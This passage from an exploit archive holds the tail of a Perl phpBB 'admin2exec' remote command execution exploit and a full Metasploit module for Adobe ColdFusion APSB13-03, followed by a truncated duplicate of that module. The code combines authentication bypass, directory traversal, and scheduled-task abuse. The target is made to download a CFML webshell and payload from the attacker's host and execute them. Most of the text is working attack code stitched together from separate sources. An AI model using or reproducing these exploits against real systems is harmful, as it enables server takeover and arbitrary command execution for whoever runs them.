"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids");
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
@result = split(/\n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."\n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."\r\n"; }
}
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids");
}
sub usage()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
print " Options:\r\n";
print " -u [URL] - path to forum e.g. http://site/forum/\r\n";
print " -L [login] - admin login\r\n";
print " -P [password] - admin password\r\n";
print " -i [id] - admin id (optional, default 2)\r\n";
print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
print " -o [host:port] - proxy (optional)\r\n";
exit();
}
# milw0rm.com [2006-04-10]
Jon Hart/Adobe ColdFusion APSB13-03 Command Execution ( na)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'digest/sha1'
require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03',
'Description' => %q{
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
* CVE-2013-0629: directory traversal
* CVE-2013-0632: authentication bypass
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0625'],
[ 'CVE', '2013-0629'],
# we don't actually exploit this, as this is the backdoor
# dropped by malware exploiting the other vulnerabilities
[ 'CVE', '2013-0631'],
[ 'CVE', '2013-0632'],
],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'DisclosureDate' => 'Jan 15 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
], self.class)
end
def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end
def exploit
# login
cf_cookies = login
# if we managed to login, get the listener ready
datastore['URIPATH'] = rand_text_alphanumeric(6)
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
start_service
# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
schedule_drop cf_cookies, input_exec, output_exec
if datastore['CMD'] and not datastore['CMD'].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore['CMD'].split(/\s+/)
res = execute output_exec, parts.shift, parts.join(' ')
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p"
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
# execute the payload
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
end
handler
end
def execute cfm, cmd, args=''
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
end
def on_new_session(client)
return
# TODO: cleanup
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
@files.each do |file|
client.fs.file.rm("#{file}")
end
else
@files.each do |file|
client.shell_command_token("rm #{file}")
end
end
end
def on_request_uri cli, request
cf_payload = "test"
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<-EOF
<cfparam name="url.cmd" type="string" default="id"/>
<cfparam name="url.args" type="string" default=""/>
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput>#output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end
# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end
# this doesn't actually work
def twiddle_csrf cookies, enable=false
mode = (enable ? "Enabling" : "Disabling")
print_status "#{mode} CSRF protection"
params = {
'SessEnable' => enable.to_s,
}
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies),
'vars_post' => params,
})
if res
if res.body =~ /SessionManagement should/
print_error "Error #{mode} CSRF"
end
else
print_error "No response while #{mode} CSRF"
end
end
# Using the provided +cookies+, schedule a ColdFusion task
# to request content from +input_uri+ and drop it in +output_path+
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res
if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
#twiddle_csrf cookies, true
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies res
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
def administrator_10x_login user, password
# coldfusion 10 appears to do:
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'submit' => 'Login',
}
})
if res
if res.code.to_s =~ /^30[12]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ /A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
vprint_status res.body
end
end
end
return {}
end
def got_auth? cookies
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
end
def administrator_9x_login user, password
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = (Time.now.to_i * 1000).to_s
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'submit' => 'Login',
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end
{}
end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths.each do |path|
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_creds = true
break
end
end
if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end
# if credentials are provided, try those too
if datastore['USERNAME'] and datastore['PASSWORD']
vuln_without_bypass = false
paths.each do |path|
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end
if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths.each do |path|
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end
if vuln_with_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
end
vulns > 0
end
# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo', 'bar', true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end
def traverse_read path, cookies
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies)
})
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
end
end
This Metasploit module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03 including arbitrary command execution in scheduleedit.cfm (9.x only), directory traversal, and authentication bypass issues.
metasploit/Adobe ColdFusion APSB13-03 Remote Exploit ( multiple)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'digest/sha1'
require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03',
'Description' => %q{
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
* CVE-2013-0629: directory traversal
* CVE-2013-0632: authentication bypass
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0625'],
[ 'CVE', '2013-0629'],
# we don't actually exploit this, as this is the backdoor
# dropped by malware exploiting the other vulnerabilities
[ 'CVE', '2013-0631'],
[ 'CVE', '2013-0632'],
],
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }],
[
'Universal CMD',
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'win', 'linux']
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'DisclosureDate' => 'Jan 15 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
], self.class)
end
def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
}
ways.each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
cf_cookies
end
def exploit
# login
cf_cookies = login
# if we managed to login, get the listener ready
datastore['URIPATH'] = rand_text_alphanumeric(6)
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
start_service
# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
schedule_drop cf_cookies, input_exec, output_exec
if datastore['CMD'] and not datastore['CMD'].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore['CMD'].split(/\s+/)
res = execute output_exec, parts.shift, parts.join(' ')
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p"
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
# execute the payload
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
end
handler
end
def execute cfm, cmd, args=''
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
end
def on_new_session(client)
return
# TODO: cleanup
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
@files.each do |file|
client.fs.file.rm("#{file}")
end
else
@files.each do |file|
client.shell_command_token("rm #{file}")
end
end
end
def on_request_uri cli, request
cf_payload = "test"
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<-EOF
<cfparam name="url.cmd" type="string" default="id"/>
<cfparam name="url.args" type="string" default=""/>
<cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput>#output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end
# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end
# this doesn't actually work
def twiddle_csrf cookies, enable=false
mode = (enable ? "Enabling" : "Disabling")
print_status "#{mode} CSRF protection"
params = {
'SessEnable' => enable.to_s,
}
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies),
'vars_post' => params,
})
if res
if res.body =~ /SessionManagement should/
print_error "Error #{mode} CSRF"
end
else
print_error "No response while #{mode} CSRF"
end
end
# Using the provided +cookies+, schedule a ColdFusion task
# to request content from +input_uri+ and drop it in +output_path+
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res
if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date. This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default',
'Start_Date' => start_date,
'End_Date' => '',
'ScheduleType' => 'Once',
'StartTimeOnce' => '1:37 PM',
'Interval' => 'Daily',
'StartTimeDWM' => '',
'customInterval_hour' => '0',
'customInterval_min' => '0',
'customInterval_sec' => '0',
'CustomStartTime' => '',
'CustomEndTime' => '',
'repeatradio' => 'norepeatforeverradio',
'Repeat' => '',
'crontime' => '',
'Operation' => 'HTTPRequest',
'ScheduledURL' => input_uri,
'Username' => '',
'Password' => '',
'Request_Time_out' => '',
'proxy_server' => '',
'http_proxy_port' => '',
'publish' => '1',
'publish_file' => publish_file,
'publish_overwrite' => 'on',
'eventhandler' => '',
'exclude' => '',
'onmisfire' => '',
'onexception' => '',
'oncomplete' => '',
'priority' => '5',
'retrycount' => '3',
'advancedmode' => 'true',
'adminsubmit' => 'Submit',
'taskNameOriginal' => task_id,
'groupOriginal' => 'default',
'modeOriginal' => 'server',
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
#twiddle_csrf cookies, true
if datastore['DELETE_TASK']
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies res
set_cookie = res.headers['Set-Cookie']
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
# * Dropping Path and Expires from the parsed cookies -- we don't care
# * Dropping empty (reset) cookies
%w(Path Expires).each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys.each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^CF/
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
